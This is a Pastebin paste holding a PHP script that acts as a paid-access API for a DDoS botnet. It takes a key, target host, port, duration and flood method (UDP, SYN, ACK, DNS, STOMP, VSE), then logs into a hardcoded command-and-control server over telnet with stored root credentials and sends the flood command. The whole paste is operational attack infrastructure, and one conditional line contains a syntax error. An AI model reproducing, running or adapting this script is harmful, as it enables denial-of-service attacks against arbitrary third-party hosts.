Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- error_reporting(E_ALL);
- $APIKeys = array("Key1", "Key2", "Key3");
- $attackMethods = array("RAWUDP", "ACK", "STOMP", "DNS", "VSE", "SYN", "GHP");
- function htmlsc($string)
- {
- return htmlspecialchars($string, ENT_QUOTES, "UTF-8");
- }
- if (!isset($_GET["key"]) || !isset($_GET["host"]) || !isset($_GET["port"]) || !isset($_GET["method"]) || !isset($_GET["time"]))
- die("You are missing a parameter");
- $key = htmlsc($_GET["key"]);
- $host = htmlsc($_GET["host"]);
- $port = htmlsc($_GET["port"]);
- $method = htmlsc(strtoupper($_GET["method"]));
- $time = htmlsc($_GET["time"]);
- $command = "";
- if (!in_array($key, $APIKeys)) die("Invalid API key");
- if (!in_array($method, $attackMethods)) die("Invalid attack method");
- if ($method == "RAWUDP" $command = "udpplain $host $time len=65500 rand=1 dport=$port\r\n";
- else if ($method == "DNS") $command = "dns $host $time dport=$port domain=$host\r\n";
- else if ($method == "SYN") $command = "syn $host $time dport=$port\r\n";
- else if ($method == "ACK") $command = "ack $host $time dport=$port\r\n";
- else if ($method == "STOMP") $command = "stomp $host $time dport=$port\r\n";
- else if ($method == "VSE") $command = "vse $host $time dport=$port\r\n";
- //else if ($method == "GHP") $command = "http $host $time domain=$host path=/ conns=10000"
- $socket = fsockopen("163.172.154.124", "23"); // Example: $socket = fsockopen("1.2.3.4", 1337);
- ($socket ? null : die("Failed to connect"));
- fwrite($socket, " \r\n"); // If you don't require a username, just remove this line...
- sleep(3);
- fwrite($socket, "root\r\n"); // If you don't require a username, just remove this line...
- sleep(3);
- fwrite($socket, "hacker\r\n");
- sleep(9); // Why? I've noticed for some people it doesn't work w/o the sleep() (or anything before fwrite()ing $command)!
- fwrite($socket, $command);
- fclose($socket);
- echo "Attack sent to $host:$port for $time seconds using method $method!\n";
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement